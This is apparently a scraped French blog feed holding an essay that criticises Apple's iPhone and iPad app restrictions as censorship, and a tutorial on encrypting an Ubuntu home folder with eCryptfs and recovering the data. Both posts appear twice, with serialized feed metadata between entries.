« La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre à l’abus de cette liberté dans les cas déterminés par la loi. »
Pour des raisons évidentes, le terme « application » n’est pas présent dans le texte de l’article 11, mais on sent bien qu’une application peut être une forme d’expression, au même titre qu’un texte ou qu’une parole. En particulier, celle de l’exemple permettait de diffuser des animations, et son retrait a été exclusivement motivé par le fait qu’Apple les jugeaient désobligeantes. Sans autre forme de procès.
Il s’agit clairement d’une restriction à la liberté d’expression (qui est une liberté fondamentale) sans intervention de l’autorité judiciaire. Et c’est justement sur ce point que la loi HADOPI 1 a été censurée par le Conseil Constitutionnel le 10 juin 2009, dans son considérant 12 :
« Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 […] ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ; »
(c’est toujours un plaisir de le relire)
L’iPhone Developer Program License Agreement ne semble donc pas compatible avec la déclaration des droits de l’Homme et du citoyen de 1789. Rien que ça.
Cette restriction de la liberté d’expression a certes moins de conséquences que celle proposée par l’HADOPI, mais elle prend de l’importance avec le nombre d’appareils vendus. On ne peut donc pas la négliger.
Cette politique est pourtant ardemment défendue par de nombreux fans, avec l’argument massue « iPad, c’est le produit d’Apple, ils font ce qu’ils veulent, si t’es pas content, va voir ailleurs ».
Cet argument est bien sûr totalement fallacieux. Certes, c’est LEUR produit, mais qui est support de NOS données, de NOS accès, de NOS communications et d’une partie de NOTRE vie numérique… À partir de là, il est évident qu’ils n’ont pas la légitimité pour faire ce qu’ILS veulent.
De la même manière que si HP produit une imprimante, ils n’ont pas le droit de décider arbitrairement quels contenus NOUS avons le droit d’imprimer. Parce que c’est NOTRE contenu, pas le LEUR. Et ceci même si d’autres constructeurs produisent d’autres imprimantes.
Les produits Apple sont souvent critiqués pour leur manque d’ouverture (c’est peu de le dire) et les restrictions à base de DRM intégrées à leur appareils. Ce qui leur vaut d’ailleurs le qualificatif de « défectueux par conception ». Pour répondre à ces critiques, l’argument du choix revient souvent : « si les utilisateurs l’achètent, c’est que cela ne les dérange pas, c’est leur choix ».
Certes, c’est leur choix. Mais d’une part, cela ne saurait interdire les critiques, et d’autre part, une question d’éducation est à prendre en compte. Pour expliciter ma pensée, je vais me risquer à une analogie avec Internet et les opérateurs. Dans les deux cas, le problème posé est celui de la neutralité.
Soit on a un accès Internet, auquel cas on a accès à tout (sauf dans certaines dictatures), soit on n’a pas d’accès Internet, auquel cas on n’a accès à rien. Une fois qu’on a un accès, ça ne coûte pas plus cher ni à l’utilisateur ni au fournisseur d’accès qu’on l’utilise pour faire du mail ou pour télécharger une page web. C’est LE fonctionnement intrinsèque d’Internet qui fait ça : le réseau ne différencie pas les contenus.
Mais pour un utilisateur lambda qui ne connaît pas Internet, si un opérateur lui propose un forfait mobile « Internet », mais où l’option mail est à 2€/mois, l’option Twitter est à 1€/mois et l’option Facebook est à 1€/mois, ça pourrait lui paraître « logique » : plus il paie, plus il a accès à des services. Nous, qui connaissons un peu Internet, comprenons bien que c’est inéquitable : l’opérateur a simplement mis en place un mécanisme qui permet de couper certains accès pour les revendre en plus en option, alors qu’aucune contrainte technique ni aucun investissement ne justifie cette facturation. Il s’agit ni plus ni moins d’une segmentation artificielle permettant de vendre plusieurs fois la même chose aux utilisateurs, cette pratique étant facilitée par l’ignorance d’une majorité de la population sur le fonctionnement d’Internet. Et ça mène à des dérives.
Là, c’est pareil, sur un ordinateur (au sens large), tout le monde a accès à tout, peut le bidouiller, y installer des programmes, ne pas être dépendant de tel ou tel éditeur, n’est pas contrôlé à distance par une entité maître. Chacun peut développer les applications et les mettre à la disposition des autres.
Sur un iPad, rien de tout cela. Seules les applications acceptées par le maître ont droit de vie, seulement si elles passent par le canal de distribution du maître (qui au passage force un monopole et permet une censure arbitraire). Le produit enferme les utilisateurs dans l’ensemble des technologies du maître (qui interdit d’utiliser autre chose). La liberté d’utilisation est donc sacrifiée.
Dire que si ça ne convenait pas aux gens ils n’achèteraient pas, c’est trop simpliste : combien de personnes ont conscience des enjeux qu’il y a derrière? Les journaux papier et télévisés ne parlent que de « ce merveilleux appareil qui va sauver la presse »… Le grand public ne saura pas qu’il est possible d’avoir le contrôle de son ordinateur. De la même manière que le grand public pourrait ne pas savoir qu’Internet, ça comprend le mail et que ça n’est pas une option, si la neutralité du net n’est pas défendue…
Voilà les points importants que j’avais en tête à propos de l’iPad, qui restreint à la fois la liberté d’expression et la liberté d’utilisation.
Il y aurait sans doute encore beaucoup de choses à dire sur le sujet…
Depuis la sortie de l’iPad d’Apple, de nombreux articles ont été écrits sur le sujet. Jusqu’ici je me contentais de donner mon point de vue dans les commentaires des articles, mais j’ai finalement décidé de regrouper certaines de mes interventions pour en faire un billet de blog, et ainsi rajouter mes 2 centimes à tout ce ramdam.
Aussi bien l’iPhone que l’iPad portent atteinte à la liberté d’expression.
Un exemple est rapporté par Rue89 :
Mark Fiore s’est vu interdire son application iPhone, dont le but était de diffuser de petites animations. […] Son crime ? Apple considère que ces caricatures, « contiennent des éléments qui ridiculisent des personnages publics, en violation de la section 3.3.14 de l’iPhone Developer Program License Agreement. »
Voici ce que dit cette section :
Une application peut être rejetée si elle diffuse un contenu (texte, graphique, dessin, photo, son) qu’Apple juge désobligeant, par exemple un contenu pornographique, obscène ou diffamant.
Apple se fait juge à la place du juge, et décide arbitrairement de ce qui doit être censuré ou non.
Pourtant, l’article 11 de la déclaration des droits de l’Homme et du citoyen de 1789 dit :
La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre à l’abus de cette liberté dans les cas déterminés par la loi.
Pour des raisons évidentes, le terme “application” n’est pas présent dans le texte de l’article 11, mais on sent bien qu’une application peut être une forme d’expression, au même titre qu’un texte ou qu’une parole. En particulier, celle de l’exemple permettait de diffuser des animations, et son retrait a été exclusivement motivé par le fait qu’Apple les jugeait désobligeantes. Sans autre forme de procès.
Il s’agit clairement d’une restriction à la liberté d’expression (qui est une liberté fondamentale) sans intervention de l’autorité judiciaire. Et c’est justement sur ce point que la loi HADOPI 1 a été censurée par le Conseil Constitutionnel le 10 juin 2009, dans son considérant 12 :
Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 […] ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ;
(c’est toujours un plaisir de le relire)
L’iPhone Developer Program License Agreement ne semble donc pas compatible avec la déclaration des droits de l’Homme et du citoyen de 1789. Rien que ça.
Cette restriction de la liberté d’expression a certes moins de conséquences que celle proposée par l’HADOPI, mais elle prend de l’importance avec le nombre d’appareils vendus. On ne peut donc pas la négliger.
Cette politique est pourtant ardemment défendue par de nombreux fans, avec l’argument massue « iPad, c’est le produit d’Apple, ils font ce qu’ils veulent, si t’es pas content, va voir ailleurs ». Cet argument est bien sûr totalement fallacieux. Certes, c’est LEUR produit, mais qui est support de NOS données, de NOS accès, de NOS communications et d’une partie de NOTRE vie numérique… À partir de là, il est évident qu’ils n’ont pas la légitimité pour faire ce qu’ILS veulent.
De la même manière que si HP produit une imprimante, ils n’ont pas le droit de décider arbitrairement quels contenus NOUS avons le droit d’imprimer. Parce que c’est NOTRE contenu, pas le LEUR. Et ceci même si d’autres constructeurs produisent d’autres imprimantes.
Les produits Apple sont souvent critiqués pour leur manque d’ouverture (c’est peu de le dire) et les restrictions à base de DRM intégrées à leur appareils. Ce qui leur vaut d’ailleurs le qualificatif de « défectueux par conception ». Pour répondre à ces critiques, l’argument du choix revient souvent : « si les utilisateurs l’achètent, c’est que cela ne les dérange pas, c’est leur choix ».
Certes, c’est leur choix. Mais d’une part, cela ne saurait interdire les critiques, et d’autre part, une question d’éducation est à prendre en compte. Pour expliciter ma pensée, je vais me risquer à une analogie avec Internet et les opérateurs. Dans les deux cas, le problème posé est celui de la neutralité.
Soit on a un accès Internet, auquel cas on a accès à tout (sauf dans certaines dictatures), soit on n’a pas d’accès Internet, auquel cas on n’a accès à rien. Une fois qu’on a un accès, ça ne coûte pas plus cher ni à l’utilisateur ni au fournisseur d’accès qu’on l’utilise pour faire du mail ou pour télécharger une page web. C’est LE fonctionnement intrinsèque d’Internet qui fait ça : le réseau ne différencie pas les contenus.
Mais pour un utilisateur lambda qui ne connaît pas Internet, si un opérateur lui propose un forfait mobile “Internet”, mais où l’option mail est à 2€/mois, l’option Twitter est à 1€/mois et l’option Facebook est à 1€/mois, ça pourrait lui paraître “logique” : plus il paie, plus il a accès à des services.
Nous, qui connaissons un peu Internet, comprenons bien que c’est inéquitable : l’opérateur a simplement mis en place un mécanisme qui permet de couper certains accès pour les revendre en plus en option, alors qu’aucune contrainte technique ni aucun investissement ne justifie cette facturation. Il s’agit ni plus ni moins d’une segmentation artificielle permettant de vendre plusieurs fois la même chose aux utilisateurs, cette pratique étant facilitée par l’ignorance d’une majorité de la population sur le fonctionnement d’Internet. Et ça mène à des dérives.
Là, c’est pareil, sur un ordinateur (au sens large), tout le monde a accès à tout, peut le bidouiller, y installer des programmes, ne pas être dépendant de tel ou tel éditeur, n’est pas contrôlé à distance par une entité maître. Chacun peut développer les applications et les mettre à la disposition des autres.
Sur un iPad, rien de tout cela. Seules les applications acceptées par le maître ont droit de vie, seulement si elles passent par le canal de distribution du maître (qui au passage force un monopole et permet une censure arbitraire). Le produit enferme les utilisateurs dans l’ensemble des technologies du maître (qui interdit d’utiliser autre chose). La liberté d’utilisation est donc sacrifiée.
Dire que si ça ne convenait pas aux gens ils n’achèteraient pas, c’est trop simpliste : combien de personnes ont conscience des enjeux qu’il y a derrière ? Les journaux papier et télévisés ne parlent que de « ce merveilleux appareil qui va sauver la presse »… Le grand public ne saura pas qu’il est possible d’avoir le contrôle de son ordinateur. De la même manière que le grand public pourrait ne pas savoir qu’Internet, ça comprend le mail et que ça n’est pas une option, si la neutralité du net n’est pas défendue…
Voilà les points importants que j’avais en tête à propos de l’iPad, qui restreint à la fois la liberté d’expression et la liberté d’utilisation. Il y aurait sans doute encore beaucoup de choses à dire sur le sujet…
";s:7:"dateiso";s:15:"20100603_154318";}s:15:"20100516_171241";a:7:{s:5:"title";s:50:"Chiffrer son dossier personnel (/home) sous Ubuntu";s:4:"link";s:78:"http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1476";s:7:"pubDate";s:31:"Sun, 16 May 2010 15:12:41 +0000";s:11:"description";s:376:"Ubuntu permet d’activer le chiffrement du dossier personnel lors de l’installation, grâce à eCryptfs. Pourquoi chiffrer son dossier personnel ? Parce que les documents personnels sont… personnels. La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données : il suffit de booter sur [...]";s:7:"content";s:17057:"Ubuntu permet d’activer le chiffrement du dossier personnel lors de l’installation, grâce à eCryptfs.
Parce que les documents personnels sont… personnels.
La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données : il suffit de booter sur un LiveCD pour récupérer les données en clair très simplement.
Ces données peuvent être de toutes sortes :
Quand on sait que certains se font voler leur identité pour bien moins que ça… Vous me direz, certains n’ont pas besoin de se faire voler leurs données, ils donnent volontairement tous leurs mails privés à Google et plein d’autres infos à Facebook, alors… </troll>
Je souhaiterais faire une parenthèse sur le stockage des mots de passe (sur un disque dur non chiffré).
Sur un système GNU/Linux, a priori il y a un trousseau de clés. Les logiciels peuvent l’utiliser pour enregistrer les mots de passe de manière sûre, en les chiffrant par une passphrase (par défaut le mot de passe du compte). C’est le cas par exemple d’Evolution, d’Empathy, de Gwibber… Pour voir les mots de passe enregistrés, il suffit d’ouvrir Applications > Accessoires > Mots de passe et clés de chiffrement.
Mais il y a un grand absent dans la liste des logiciels qui le gèrent : Firefox. Firefox enregistre les mots de passe quasiment en clair ; c’est dommage, c’est à lui qu’on donne la majorité de nos mots de passe. Du coup, si j’accède à un disque dur non chiffré, je peux récupérer tous les mots de passe enregistrés dans Firefox. D’ailleurs, c’est très simple : Édition > Préférences > Sécurité > Mots de passe enregistrés… > Afficher les mots de passe (ça devrait inciter les gens à verrouiller leur session quand ils s’absentent plus de 5 secondes). Il y a bien une option « Utiliser un mot de passe principal », mais comme il n’est pas intégré au système, il faut le renseigner une fois par session Firefox (en plus du mot de passe système donc). Cela suffit à dissuader de l’activer.
Je ne sais pas si c’est prévu pour Firefox 4.0, mais je pense que la sécurité des mots de passe aurait été plus utile que des thèmes à la manière de WinAmp il y a 10 ans (pardon on dit des personas)…
Ceci donne un argument de plus pour chiffrer son dossier personnel… Parenthèse fermée.
Pour activer le chiffrement du dossier personnel lors de l’installation, il suffit de choisir la bonne option :

(je vous conseille aussi d’utiliser une partition séparée pour /home)
Et voilà, c’est tout.
Enfin, pas tout-à-fait, car quand on chiffre ses données, il est certes important qu’elles soient protégées, mais il y a quelque chose d’encore plus important, c’est qu’elles soient récupérables…
Nous allons donc voir comment ça fonctionne, comment récupérer les données, ce à quoi il faut faire attention, etc.
Le système utilise une clé (une passphrase) pour chiffrer toutes les données avant de les écrire sur le disque. Elle est générée automatiquement, et devra être notée quelque part (sur un bout de papier à garder précieusement). Cette clé est elle-même chiffrée par une passphrase, qui est le mot de passe du compte utilisateur. Ainsi, lors de la connexion de l’utilisateur, la clé pourra être déchiffrée et utilisée pour lire et écrire des données.
Il faut bien distinguer ces deux passphrases :
Tant que vous connaissez la passphrase de montage, vous pourrez récupérer vos données.
Si vous connaissez uniquement la passphrase de login, vous pourrez normalement récupérer la passphrase de montage (mais c’est plus sûr de garder dans un coin la passphrase de montage, car on peut effacer involontairement le fichier permettant de faire le lien).
Si vous ne connaissez aucune des deux, vos données sont définitivement perdues…
Physiquement, les dossiers chiffrés sont stockés dans /home/.ecryptfs/USER/.Private.
Les données servant au chiffrement et au déchiffrement sont dans /home/.ecryptfs/USER/.ecryptfs.
Le répertoire /home/USER, quant à lui, n’existe pas physiquement : c’est juste une « vue » déchiffrée du répertoire .Private.
Remarque : les noms de fichiers étant eux-aussi chiffrés, ils ne comportent physiquement pas le même nombre de caractères que le nom de fichier « en clair » (d’autant plus qu’ils contiennent un préfixe). Ceci a une conséquence : en EXT4 les noms de fichiers ne doivent pas dépasser 256 caractères, mais un nom de fichier « en clair » d’environ 140 caractères entraîne un nom de fichier chiffré de 256 caractères. Les noms de fichiers sont donc limités à environ 140 caractères sur un dossier chiffré…
Une fois le système démarré, il est possible de connaître la passphrase de montage :
$ ecryptfs-unwrap-passphrase Passphrase: (entrer ici la passphrase de login) 6ebf259226f1d0859e707eb4349a9476
D’ailleurs, lors du premier démarrage, Ubuntu vous demandera d’exécuter cette commande et de noter quelque part le résultat.
Pour récupérer cette passphrase sans que le système en question soit démarré (par exemple en accédant à la partition à partir d’un LiveCD), il faut préciser le fichier qui contient la passphrase de montage chiffrée :
$ ecryptfs-unwrap-passphrase /media/DISK/.ecryptfs/USER/.ecryptfs/wrapped-passphrase Passphrase: (entrer ici la passphrase de login) 6ebf259226f1d0859e707eb4349a9476
On ne peut pas changer facilement la passphrase de montage, car il faudrait alors rechiffrer toutes les données. Par contre, la passphrase de login peut être aisément changée (puisque seule la passphrase de montage sera à rechiffrer).
En pratique, ce changement est fait automatiquement lors d’un changement de mot de passe du compte utilisateur.
Pour la changer manuellement (attention, il ne sera plus possible de démarrer correctement si la passphrase de login ne correspond pas au mot de passe de connexion) :
$ ecryptfs-rewrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase Old wrapping passphrase: (entrer ici l'ancienne passphrase de login) New wrapping passphrase: (entrer ici la nouvelle passphrase de login)
Pour réinstaller le système d’exploitation (par exemple pour y mettre une nouvelle version d’Ubuntu) en conservant son dossier personnel chiffré, il faut bien sûr avoir le /home sur une partition séparée, ne pas la formater lors de la nouvelle installation, mais il faut aussi utiliser le même login et le même mot de passe de connexion. Si vous respectez cette règle, vous n’avez rien de particulier à faire, tout est transparent.
Si vous avez changé le mot de passe, l’installation se déroule normalement sans avertissement, mais une fois le système installé, vous ne pourrez pas vous connecter (car vous n’avez pas de /home accessible). Si cela vous arrive, ce n’est pas bien grave, allez dans un TTY (Ctrl+Alt+F1), connectez-vous et changez manuellement votre passphrase de login (comme expliqué dans la section ci-dessus) pour la faire correspondre à votre mot de passe de connexion. Votre ancienne passphrase de login vous sera demandée.
Si malheureusement vous ne vous souvenez plus de votre ancienne passphrase de login (vous le faites exprès ou quoi ?), mais que vous possédez votre passphrase de montage, vous pouvez vous en sortir :
$ ecryptfs-wrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase Passphrase to wrap: (entrez ici la passphrase de montage) Wrapped passphrase: (entrez ici la nouvelle passphrase de login)
Redémarrez le système, et normalement tout fonctionne.
Il est également possible de chiffrer son dossier personnel une fois le système installé. Cependant, il y a une limitation très contraignante : il faut avoir comme espace libre 2,5× la taille de l’espace occupé par le dossier personnel, c’est-à-dire que la partition contenant /home ne doit pas être remplie à plus de 28%.
Avant toute chose, faire une sauvegarde sur un disque externe ou sur une autre machine (un problème pourrait entraîner la perte de toutes les données).
Le paquet ecryptfs-utils doit être installé :
sudo apt-get install ecryptfs-utils
La commande qui permet de migrer son home est ecyptfs-migrate-home. Cependant, aucune ressource de l’utilisateur du dossier personnel à migrer ne doit être utilisée (pas même un shell). On a donc besoin d’un autre utilisateur, par exemple root (provisoirement).
On réactive donc le compte root et on lui affecte un mot de passe :
sudo passwd root
Ensuite, il faut redémarrer la machine (déconnecter son compte ne suffit pas). Lors de l’écran de login, passer en TTY (Ctrl+Alt+F1), se connecter avec root, et exécuter :
ecryptfs-migrate-home -u USER
(en remplaçant USER par le nom de l’utilisateur dont le dossier personnel doit être migré)
Un peu de patience, il faut attendre un certain temps (qui se compte en heures selon la quantité de données et la puissance du processeur)…
Une fois terminé, se connecter avec l’utilisateur (repasser en mode graphique avec Ctrl+Alt+F7). Normalement tout doit fonctionner.
L’ancien dossier personnel (non chiffré) est dans /home/USER.xxxxxx.
Si tout s’est bien passé ce dossier doit être supprimé, et le compte root peut être désactivé :
sudo passwd --lock root
C’est la partie indispensable pour accepter d’utiliser un dossier personnel chiffré : être sûr de pouvoir récupérer ses données. Je vous conseille de tester cette procédure une fois le chiffrement mis en place.
Pour accéder aux données, il suffit d’un LiveCD d’une distribution avec un noyau Linux supérieur ou égal à 2.6.26. J’ai donc utilisé le LiveCD d’Ubuntu Lucid Lynx (10.04) pour mes tests, en m’inspirant de cette doc.
Tout d’abord, il faut monter la partition contenant les dossiers chiffrés (ça se fait graphiquement en cliquant sur le disque correspondant dans le menu Raccourcis). J’utiliserai l’emplacement /media/DISK comme exemple.
Tout ce que nous allons faire à partir de maintenant nécessite d’être root, passons donc root :
sudo -s
La signature de la clé de chiffrement des noms de fichiers sera nécessaire pour la suite :
root@ubuntu:/~# ecryptfs-add-passphrase --fnek Passphrase: (entrer la passphrase de montage) Inserted auth tok with sig [514d1d3af1a232cd] into the user session keyring Inserted auth tok with sig [7890544814a5865f] into the user session keyring
C’est le code entre crochets de la dernière ligne qui est important.
On va monter le répertoire chiffré dans un répertoire qu’on va appeler decrypted, créons-le :
root@ubuntu:/~# mkdir decrypted
Ensuite, on monte et on répond aux questions :
root@ubuntu:/~# mount -t ecryptfs /media/DISK/.ecryptfs/USER/.Private decrypted Selection [aes]: Selection [16]: Enable plaintext passthrough (y/n) [n]: Enable filename encryption (y/n) [n]: y Filename Encryption Key (FNEK) Signature [514d1d3af1a232cd]: 7890544814a5865f
(pour la FNEK, il faut bien préciser la signature qu’on a récupéré juste au-dessus)
Si tout s’est bien passé :
Attempting to mount with the following options: ecryptfs_unlink_sigs ecryptfs_fnek_sig=7890544814a5865f ecryptfs_key_bytes=16 ecryptfs_cipher=aes ecryptfs_sig=514d1d3af1a232d Mounted eCryptfs
Les données sont maintenant accessibles:
root@ubuntu:~# ls decrypted Bureau examples.desktop Modèles Public Vidéos Documents Images Musique Téléchargements
Pour démonter:
root@ubuntu:~# umount decrypted
Je pense qu’on a fait le tour de l’essentiel à savoir pour chiffrer son dossier personnel et pouvoir récupérer ses données. J’en ai profité pour chiffrer celui de mon ordinateur portable, tout fonctionne très bien.
Il faut cependant être conscient de deux choses.
Tout d’abord, les données personnelles ne sont pas présentes uniquement dans le répertoire /home, elles sont copiées dans /tmp, dans la RAM, dans le SWAP (il est également possible de chiffrer le SWAP, grâce à ecryptfs-setup-swap), etc. Le chiffrement est donc une étape essentielle dans la protection des données, mais il faut comprendre ce que ça protège (voir à ce sujet le guide d’autodéfense numérique).
Ensuite, ce chiffrement est là pour protéger la vie privée, pas pour cacher quelque chose à la justice. D’une part, le code pénal prévoit une peine de 3 ans et 45000€ d’amende pour refus de fournir la convention secrète de déchiffrement (autrement dit la clé). D’autre part, pour des sujets graves, nul doute que les États mettront les moyens pour casser la clé (qui est relativement faible, car proportionnée à l’objectif à atteindre, à savoir la protection de la vie privée).
Pour utiliser le chiffrement pour des communications plutôt que pour le stockage des données, vous pouvez consulter GnuPG : chiffrer et signer sous Ubuntu pour les nuls.
Amusez-vous bien.
";s:7:"dateiso";s:15:"20100516_171241";}s:15:"20100516_151241";a:7:{s:5:"title";s:50:"Chiffrer son dossier personnel (/home) sous Ubuntu";s:4:"link";s:77:"http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu";s:4:"guid";s:77:"http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu";s:7:"pubDate";s:25:"2010-05-16T15:12:41+02:00";s:11:"description";s:0:"";s:7:"content";s:17822:"Ubuntu permet d’activer le chiffrement du dossier personnel lors de l’installation, grâce à eCryptfs.
Parce que les documents personnels sont… personnels.
La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données : il suffit de booter sur un LiveCD pour récupérer les données en clair très simplement.
Ces données peuvent être de toutes sortes :
Quand on sait que certains se font voler leur identité pour bien
moins que ça… Vous me direz, certains n’ont pas besoin de
se faire voler leurs données, ils donnent volontairement tous leurs mails privés
à Google et plein d’autres infos à Facebook, alors… </troll>
Je souhaiterais faire une parenthèse sur le stockage des mots de passe (sur un disque dur non chiffré).
Sur un système GNU/Linux, a priori il y a un trousseau de clés. Les logiciels peuvent l’utiliser pour enregistrer les mots de passe de manière sûre, en les chiffrant par une passphrase (par défaut le mot de passe du compte). C’est le cas par exemple d’Evolution, d’Empathy, de Gwibber… Pour voir les mots de passe enregistrés, il suffit d’ouvrir Applications > Accessoires > Mots de passe et clés de chiffrement.
Mais il y a un grand absent dans la liste des logiciels qui le gèrent : Firefox. Firefox enregistre les mots de passe quasiment en clair ; c’est dommage, c’est à lui qu’on donne la majorité de nos mots de passe. Du coup, si j’accède à un disque dur non chiffré, je peux récupérer tous les mots de passe enregistrés dans Firefox. D’ailleurs, c’est très simple : Édition > Préférences > Sécurité > Mots de passe enregistrés… > Afficher les mots de passe (ça devrait inciter les gens à verrouiller leur session quand ils s’absentent plus de 5 secondes). Il y a bien une option “Utiliser un mot de passe principal”, mais comme il n’est pas intégré au système, il faut le renseigner une fois par session Firefox (en plus du mot de passe système donc). Cela suffit à dissuader de l’activer.
Je ne sais pas si c’est prévu pour Firefox 4.0, mais je pense que la sécurité des mots de passe aurait été plus utile que des thèmes à la manière de WinAmp il y a 10 ans (pardon on dit des personas)…
Ceci donne un argument de plus pour chiffrer son dossier personnel… Parenthèse fermée.
Pour activer le chiffrement du dossier personnel lors de l’installation, il suffit de choisir la bonne option :

(je vous conseille aussi d’utiliser une partition séparée pour /home)
Et voilà, c’est tout.
Enfin, pas tout-à-fait, car quand on chiffre ses données, il est certes important qu’elles soient protégées, mais il y a quelque chose d’encore plus important, c’est qu’elles soient récupérables…
Nous allons donc voir comment ça fonctionne, comment récupérer les données, ce à quoi il faut faire attention, etc.
Le système utilise une clé (une passphrase) pour chiffrer toutes les données avant de les écrire sur le disque. Elle est générée automatiquement, et devra être notée quelque part (sur un bout de papier à garder précieusement). Cette clé est elle-même chiffrée par une passphrase, qui est le mot de passe du compte utilisateur. Ainsi, lors de la connexion de l’utilisateur, la clé pourra être déchiffrée et utilisée pour lire et écrire des données.
Il faut bien distinguer ces deux passphrases :
Tant que vous connaissez la passphrase de montage, vous pourrez récupérer vos données. Si vous connaissez uniquement la passphrase de login, vous pourrez normalement récupérer la passphrase de montage (mais c’est plus sûr de garder dans un coin la passphrase de montage, car on peut effacer involontairement le fichier permettant de faire le lien). Si vous ne connaissez aucune des deux, vos données sont définitivement perdues…
Physiquement, les dossiers chiffrés sont stockés dans
/home/.ecryptfs/USER/.Private. Les données servant au chiffrement et au
déchiffrement sont dans /home/.ecryptfs/USER/.ecryptfs. Le répertoire
/home/USER, quant à lui, n’existe pas physiquement : c’est juste une “vue”
déchiffrée du répertoire .Private.
Remarque : les noms de fichiers étant eux-aussi chiffrés, ils ne comportent physiquement pas le même nombre de caractères que le nom de fichier “en clair” (d’autant plus qu’ils contiennent un préfixe). Ceci a une conséquence : en EXT4 les noms de fichiers ne doivent pas dépasser 256 caractères, mais un nom de fichier “en clair” d’environ 140 caractères entraîne un nom de fichier chiffré de 256 caractères. Les noms de fichiers sont donc limités à environ 140 caractères sur un dossier chiffré…
Une fois le système démarré, il est possible de connaître la passphrase de montage :
$ ecryptfs-unwrap-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476
D’ailleurs, lors du premier démarrage, Ubuntu vous demandera d’exécuter cette commande et de noter quelque part le résultat.
Pour récupérer cette passphrase sans que le système en question soit démarré (par exemple en accédant à la partition à partir d’un LiveCD), il faut préciser le fichier qui contient la passphrase de montage chiffréer :
$ ecryptfs-unwrap-passphrase /media/DISK/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476
On ne peut pas changer facilement la passphrase de montage, car il faudrait alors rechiffrer toutes les données. Par contre, la passphrase de login peut être aisément changée (puisque seule la passphrase de montage sera à rechiffrer).
En pratique, ce changement est fait automatiquement lors d’un changement de mot de passe du compte utilisateur.
Pour la changer manuellement (attention, il ne sera plus possible de démarrer correctement si la passphrase de login ne correspond pas au mot de passe de connexion) :
$ ecryptfs-rewrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Old wrapping passphrase: (entrer ici l'ancienne passphrase de login)
New wrapping passphrase: (entrer ici la nouvelle passphrase de login)
Pour réinstaller le système d’exploitation (par exemple pour y mettre une
nouvelle version d’Ubuntu) en conservant son dossier personnel chiffré, il
faut bien sûr avoir le /home sur une partition séparée, ne pas la formater
lors de la nouvelle installation, mais il faut aussi utiliser le même login et
le même mot de passe de connexion. Si vous respectez cette règle, vous
n’avez rien de particulier à faire, tout est transparent.
Si vous avez changé le mot de passe, l’installation se déroule normalement sans
avertissement, mais une fois le système installé, vous ne pourrez pas vous
connecter (car vous n’avez pas de /home accessible). Si cela vous arrive, ce
n’est pas bien grave, allez dans un TTY (Ctrl+Alt+F1), connectez-vous et changez
manuellement votre passphrase de login (comme expliqué dans la section
ci-dessus) pour la faire correspondre à votre mot de passe de connexion. Votre
ancienne passphrase de login vous sera demandée.
Si malheureusement vous ne vous souvenez plus de votre ancienne passphrase de login (vous le faites exprès ou quoi ?), mais que vous possédez votre passphrase de montage, vous pouvez vous en sortir :
$ ecryptfs-wrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase to wrap: (entrez ici la passphrase de montage)
Wrapped passphrase: (entrez ici la nouvelle passphrase de login)
Redémarrez le système, et normalement tout fonctionne.
Il est également possible de chiffrer son dossier personnel une fois le système
installé. Cependant, il y a une limitation très contraignante : il faut avoir
comme espace libre 2,5× la taille de l’espace occupé par le dossier personnel,
c’est-à-dire que la partition contenant /home ne doit pas être remplie à plus
de 28%.
Avant toute chose, faire une sauvegarde sur un disque externe ou sur une autre machine (un problème pourrait entraîner la perte de toutes les données).
Le paquet ecryptfs-utils doit être installé :
sudo apt-get install ecryptfs-utils
La commande qui permet de migrer son home est ecyptfs-migrate-home.
Cependant, aucune ressource de l’utilisateur du dossier personnel à migrer ne
doit être utilisée (pas même un shell). On a donc besoin d’un autre utilisateur,
par exemple root (provisoirement).
On réactive donc le compte root et on lui affecte un mot de passe :
sudo passwd root
Ensuite, il faut redémarrer la machine (déconnecter son compte ne suffit pas).
Lors de l’écran de login, passer en TTY (Ctrl+Alt+F1), se connecter avec root,
et exécuter :
ecryptfs-migrate-home -u USER
(en remplaçant USER par le nom de l’utilisateur dont le dossier personnel doit
être migré)
Un peu de patience, il faut attendre un certain temps (qui se compte en heures selon la quantité de données et la puissance du processeur)…
Une fois terminé, se connecter avec l’utilisateur (repasser en mode graphique avec Ctrl+Alt+F7). Normalement tout doit fonctionner.
L’ancien dossier personnel (non chiffré) est dans /home/USER.xxxxxx.
Si tout s’est bien passé ce dossier doit être supprimé, et le compte root peut
être désactivé :
sudo passwd --lock root
C’est la partie indispensable pour accepter d’utiliser un dossier personnel chiffré : être sûr de pouvoir récupérer ses données. Je vous conseille de tester cette procédure une fois le chiffrement mis en place.
Pour accéder aux données, il suffit d’un LiveCD d’une distribution avec un noyau Linux supérieur ou égal à 2.6.26. J’ai donc utilisé le LiveCD d’Ubuntu Lucid Lynx (10.04) pour mes tests, en m’inspirant de cette doc.
EDIT : Désormais, la commande ecryptfs-recover-private permet
